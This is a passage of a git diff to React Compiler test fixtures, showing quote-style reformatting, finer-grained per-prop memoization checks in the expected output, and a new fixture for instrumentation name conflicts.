+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d
+  ) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
       a = [];
@@ -173,12 +196,15 @@ function ComponentD(props) {
 
       a.push(props.d);
     }
-    $[0] = props;
-    $[1] = a;
-    $[2] = t0;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = a;
+    $[5] = t0;
   } else {
-    a = $[1];
-    t0 = $[2];
+    a = $[4];
+    t0 = $[5];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.js
index d0b335bb381e..e0ed10140925 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.js
@@ -54,5 +54,5 @@ function ComponentD(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: ComponentA,
-  params: [{ a: 1, b: false, d: 3 }],
+  params: [{a: 1, b: false, d: 3}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-on-mutable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-on-mutable.expect.md
index ad638cf28d87..0bcaf60a8e67 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-on-mutable.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-on-mutable.expect.md
@@ -36,9 +36,9 @@ function mayMutate() {}
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function ComponentA(props) {
-  const $ = _c(2);
+  const $ = _c(4);
   let t0;
-  if ($[0] !== props) {
+  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {
     const a = [];
     const b = [];
     if (b) {
@@ -47,20 +47,21 @@ function ComponentA(props) {
     if (props.p1) {
       b.push(props.p2);
     }
-
     t0 = <Foo a={a} b={b} />;
-    $[0] = props;
-    $[1] = t0;
+    $[0] = props.p0;
+    $[1] = props.p1;
+    $[2] = props.p2;
+    $[3] = t0;
   } else {
-    t0 = $[1];
+    t0 = $[3];
   }
   return t0;
 }
 
 function ComponentB(props) {
-  const $ = _c(2);
+  const $ = _c(4);
   let t0;
-  if ($[0] !== props) {
+  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {
     const a = [];
     const b = [];
     if (mayMutate(b)) {
@@ -69,12 +70,13 @@ function ComponentB(props) {
     if (props.p1) {
       b.push(props.p2);
     }
-
     t0 = <Foo a={a} b={b} />;
-    $[0] = props;
-    $[1] = t0;
+    $[0] = props.p0;
+    $[1] = props.p1;
+    $[2] = props.p2;
+    $[3] = t0;
   } else {
-    t0 = $[1];
+    t0 = $[3];
   }
   return t0;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.expect.md
index b3a9c3ce1a5f..31199cd5528c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.expect.md
@@ -19,8 +19,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -34,10 +34,12 @@ function Component(props) {
   const foo = () => {
     setX(1);
   };
+
   if (props.cond) {
     setX(2);
     foo();
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.js
index 7f67108be6f5..f55201b7adcd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.js
@@ -15,6 +15,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflict-codegen-instrument-forget.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflict-codegen-instrument-forget.expect.md
new file mode 100644
index 000000000000..243c4154679a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflict-codegen-instrument-forget.expect.md
@@ -0,0 +1,97 @@
+
+## Input
+
+```javascript
+// @enableEmitInstrumentForget @compilationMode:"annotation"
+
+import {identity} from 'shared-runtime';
+
+function Bar(props) {
+  'use forget';
+  const shouldInstrument = identity(null);
+  const _shouldInstrument = identity(null);
+  const _x2 = () => {
+    const _shouldInstrument2 = 'hello world';
+    return identity({_shouldInstrument2});
+  };
+  return (
+    <div style={shouldInstrument} other={_shouldInstrument}>
+      {props.bar}
+    </div>
+  );
+}
+
+function Foo(props) {
+  'use forget';
+  return <Foo>{props.bar}</Foo>;
+}
+
+```
+
+## Code
+
+```javascript
+import {
+  shouldInstrument as _shouldInstrument3,
+  useRenderCounter,
+} from "react-compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enableEmitInstrumentForget @compilationMode:"annotation"
+
+import { identity } from "shared-runtime";
+
+function Bar(props) {
+  "use forget";
+  if (DEV && _shouldInstrument3)
+    useRenderCounter("Bar", "/conflict-codegen-instrument-forget.ts");
+  const $ = _c(4);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = identity(null);
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const shouldInstrument = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = identity(null);
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const _shouldInstrument = t1;
+  let t2;
+  if ($[2] !== props.bar) {
+    t2 = (
+      <div style={shouldInstrument} other={_shouldInstrument}>
+        {props.bar}
+      </div>
+    );
+    $[2] = props.bar;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+
+function Foo(props) {
+  "use forget";
+  if (DEV && _shouldInstrument3)
+    useRenderCounter("Foo", "/conflict-codegen-instrument-forget.ts");
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.bar) {
+    t0 = <Foo>{props.bar}</Foo>;
+    $[0] = props.bar;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflict-codegen-instrument-forget.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflict-codegen-instrument-forget.js
new file mode 100644
index 000000000000..58729d6beeb1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflict-codegen-instrument-forget.js
@@ -0,0 +1,23 @@
+// @enableEmitInstrumentForget @compilationMode:"annotation"
+
+import {identity} from 'shared-runtime';
+
+function Bar(props) {
+  'use forget';
+  const shouldInstrument = identity(null);
+  const _shouldInstrument = identity(null);
+  const _x2 = () => {
+    const _shouldInstrument2 = 'hello world';
+    return identity({_shouldInstrument2});
+  };
+  return (
+    <div style={shouldInstrument} other={_shouldInstrument}>
+      {props.bar}
+    </div>
+  );
+}
+
+function Foo(props) {
+  'use forget';
+  return <Foo>{props.bar}</Foo>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.expect.md
index bcddff6c0db9..84a542978c56 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
-  const $ = identity("jQuery");
+  const $ = identity('jQuery');
   const t0 = identity([$]);
   return t0;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.js
index 8e42592c5823..b8416701bcfd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.js
@@ -1,7 +1,7 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
-  const $ = identity("jQuery");
+  const $ = identity('jQuery');
   const t0 = identity([$]);
   return t0;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.expect.md
index 4093b1a17862..b09c51a8768d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.expect.md
@@ -2,18 +2,18 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
-function useHook({ a, b }) {
-  const valA = useMemo(() => identity({ a }), [a]);
+function useHook({a, b}) {
+  const valA = useMemo(() => identity({a}), [a]);
   const valB = useMemo(() => identity([b]), [b]);
   return [valA, valB];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useHook,
-  params: [{ a: 2, b: 3 }],
+  params: [{a: 2, b: 3}],
 };
 
 ```
@@ -29,37 +29,33 @@ function useHook(t0) {
   const $ = _c(7);
   const { a, b } = t0;
   let t1;
-  let t2;
   if ($[0] !== a) {
-    t2 = identity({ a });
+    t1 = identity({ a });
     $[0] = a;
-    $[1] = t2;
+    $[1] = t1;
   } else {
-    t2 = $[1];
+    t1 = $[1];
   }
-  t1 = t2;
   const valA = t1;
-  let t3;
-  let t4;
+  let t2;
   if ($[2] !== b) {
-    t4 = identity([b]);
+    t2 = identity([b]);
     $[2] = b;
-    $[3] = t4;
+    $[3] = t2;
   } else {
-    t4 = $[3];
+    t2 = $[3];
   }
-  t3 = t4;
-  const valB = t3;
-  let t5;
+  const valB = t2;
+  let t3;
   if ($[4] !== valA || $[5] !== valB) {
-    t5 = [valA, valB];
+    t3 = [valA, valB];
     $[4] = valA;
     $[5] = valB;
-    $[6] = t5;
+    $[6] = t3;
   } else {
-    t5 = $[6];
+    t3 = $[6];
   }
-  return t5;
+  return t3;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.ts
index ce2c8037e415..d4a35a7bd430 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.ts
@@ -1,13 +1,13 @@
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
-function useHook({ a, b }) {
-  const valA = useMemo(() => identity({ a }), [a]);
+function useHook({a, b}) {
+  const valA = useMemo(() => identity({a}), [a]);
   const valB = useMemo(() => identity([b]), [b]);
   return [valA, valB];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useHook,
-  params: [{ a: 2, b: 3 }],
+  params: [{a: 2, b: 3}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.expect.md
index c6930a2bc7d9..29fd76e8363d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { shallowCopy } from "shared-runtime";
+import {shallowCopy} from 'shared-runtime';
 
 function Component(props) {
   const x = shallowCopy(props);
@@ -13,12 +13,13 @@ function Component(props) {
   console.error(x);
   console.trace(x);
   console.table(x);
+  global.console.log(x);
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   isComponent: false,
 };
 
@@ -48,6 +49,7 @@ function Component(props) {
   console.error(x);
   console.trace(x);
   console.table(x);
+  global.console.log(x);
   return x;
 }
 
@@ -61,4 +63,4 @@ export const FIXTURE_ENTRYPOINT = {
       
 ### Eval output
 (kind: ok) {"a":1,"b":2}
-logs: [{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 }]
\ No newline at end of file
+logs: [{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 }]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.js
index b821dfe3853f..e611f40b944e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.js
@@ -1,4 +1,4 @@
-import { shallowCopy } from "shared-runtime";
+import {shallowCopy} from 'shared-runtime';
 
 function Component(props) {
   const x = shallowCopy(props);
@@ -9,11 +9,12 @@ function Component(props) {
   console.error(x);
   console.trace(x);
   console.table(x);
+  global.console.log(x);
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-global.expect.md
index e42ea8ce933b..04b6c4f17f41 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-global.expect.md
@@ -19,10 +19,10 @@ function foo() {
 import { c as _c } from "react/compiler-runtime";
 function foo() {
   const $ = _c(1);
+
+  const getJSX = _temp;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const getJSX = () => <Child x={GLOBAL_IS_X} />;
-
     t0 = getJSX();
     $[0] = t0;
   } else {
@@ -31,6 +31,9 @@ function foo() {
   const result = t0;
   return result;
 }
+function _temp() {
+  return <Child x={GLOBAL_IS_X} />;
+}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-primitive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-primitive.expect.md
index 6686c0b5301b..60fe0808d922 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-primitive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-primitive.expect.md
@@ -23,13 +23,14 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 function foo() {
-  const f = () => {
-    console.log(42);
-  };
+  const f = _temp;
 
   f();
   return 42;
 }
+function _temp() {
+  console.log(42);
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.expect.md
index fc38ffb74cbf..fc2a10cd3d99 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.expect.md
@@ -13,7 +13,7 @@ function useFoo(setOne: boolean) {
     y = 3;
     z = 5;
   }
-  return { x, y, z };
+  return {x, y, z};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.ts
index 1a48999fa144..0bf17a614787 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.ts
@@ -9,7 +9,7 @@ function useFoo(setOne: boolean) {
     y = 3;
     z = 5;
   }
-  return { x, y, z };
+  return {x, y, z};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.expect.md
index 4c2db49c80b8..a7662e95ad8b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.expect.md
@@ -3,17 +3,17 @@
 
 ```javascript
 function Component(props) {
-  const index = "foo";
+  const index = 'foo';
   const x = {};
-  x[index] = x[index] + x["bar"];
+  x[index] = x[index] + x['bar'];
   x[index](props.foo);
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.js
index 720e63068318..075f9374b2c5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.js
@@ -1,13 +1,13 @@
 function Component(props) {
-  const index = "foo";
+  const index = 'foo';
   const x = {};
-  x[index] = x[index] + x["bar"];
+  x[index] = x[index] + x['bar'];
   x[index](props.foo);
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.expect.md
index 3f4240592a7f..eab467da27fc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // repro for context identifier scoping bug, in which x was
 // inferred as a context variable.
@@ -37,6 +37,7 @@ function Component() {
   const obj = { method() {} };
 
   identity(obj);
+
   return 4;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.js
index f7575d5e1e7e..934bb1f0422a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.js
@@ -1,4 +1,4 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // repro for context identifier scoping bug, in which x was
 // inferred as a context variable.
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.expect.md
index 7f42633ce5a6..3dedb80ab747 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
 function Component() {
   let x = 2;
   const fn = () => {
-    return { x: "value" };
+    return {x: 'value'};
   };
   invoke(fn);
   x = 3;
@@ -27,11 +27,15 @@ export const FIXTURE_ENTRYPOINT = {
 import { invoke } from "shared-runtime";
 
 function Component() {
-  const fn = () => ({ x: "value" });
+  const fn = _temp;
 
   invoke(fn);
+
   return 3;
 }
+function _temp() {
+  return { x: "value" };
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.js
index 07efcd7588af..8d472d1e62bb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.js
@@ -1,9 +1,9 @@
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
 function Component() {
   let x = 2;
   const fn = () => {
-    return { x: "value" };
+    return {x: 'value'};
   };
   invoke(fn);
   x = 3;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.expect.md
index a18bcad33b0e..cc5633a7b3f4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Foo() {
   const CONSTANT = 1;
@@ -36,7 +36,6 @@ function Foo() {
         return identity(1);
       },
     };
-
     t0 = x.foo();
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.js
index 1c53747fe895..58a2b2761058 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.js
@@ -1,4 +1,4 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Foo() {
   const CONSTANT = 1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.expect.md
index 21f5353e04d5..7bbd8c90d7ff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.expect.md
@@ -2,14 +2,14 @@
 ## Input
 
 ```javascript
-import { CONST_STRING0, Text } from "shared-runtime";
+import {CONST_STRING0, Text} from 'shared-runtime';
 function useFoo() {
-  "use no forget";
-  return { tab: CONST_STRING0 };
+  'use no forget';
+  return {tab: CONST_STRING0};
 }
 
 function Test() {
-  const { tab } = useFoo();
+  const {tab} = useFoo();
   const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING0;
 
   return <Text value={currentTab} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.js
index 21495b9dcea8..4f70bb58046b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.js
@@ -1,11 +1,11 @@
-import { CONST_STRING0, Text } from "shared-runtime";
+import {CONST_STRING0, Text} from 'shared-runtime';
 function useFoo() {
-  "use no forget";
-  return { tab: CONST_STRING0 };
+  'use no forget';
+  return {tab: CONST_STRING0};
 }
 
 function Test() {
-  const { tab } = useFoo();
+  const {tab} = useFoo();
   const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING0;
 
   return <Text value={currentTab} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.expect.md
index 0c02b91ede23..a738754a1600 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.expect.md
@@ -2,15 +2,15 @@
 ## Input
 
 ```javascript
-import { CONST_STRING0, CONST_STRING1, Text } from "shared-runtime";
+import {CONST_STRING0, CONST_STRING1, Text} from 'shared-runtime';
 
 function useFoo() {
-  "use no forget";
-  return { tab: CONST_STRING1 };
+  'use no forget';
+  return {tab: CONST_STRING1};
 }
 
 function Test() {
-  const { tab } = useFoo();
+  const {tab} = useFoo();
   const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING1;
 
   return <Text value={currentTab} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.js
index f4a88d181c68..2be7df2e4071 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.js
@@ -1,12 +1,12 @@
-import { CONST_STRING0, CONST_STRING1, Text } from "shared-runtime";
+import {CONST_STRING0, CONST_STRING1, Text} from 'shared-runtime';
 
 function useFoo() {
-  "use no forget";
-  return { tab: CONST_STRING1 };
+  'use no forget';
+  return {tab: CONST_STRING1};
 }
 
 function Test() {
-  const { tab } = useFoo();
+  const {tab} = useFoo();
   const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING1;
 
   return <Text value={currentTab} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.expect.md
index 99c5d71e7878..b916be1357e2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function foo() {
   return (
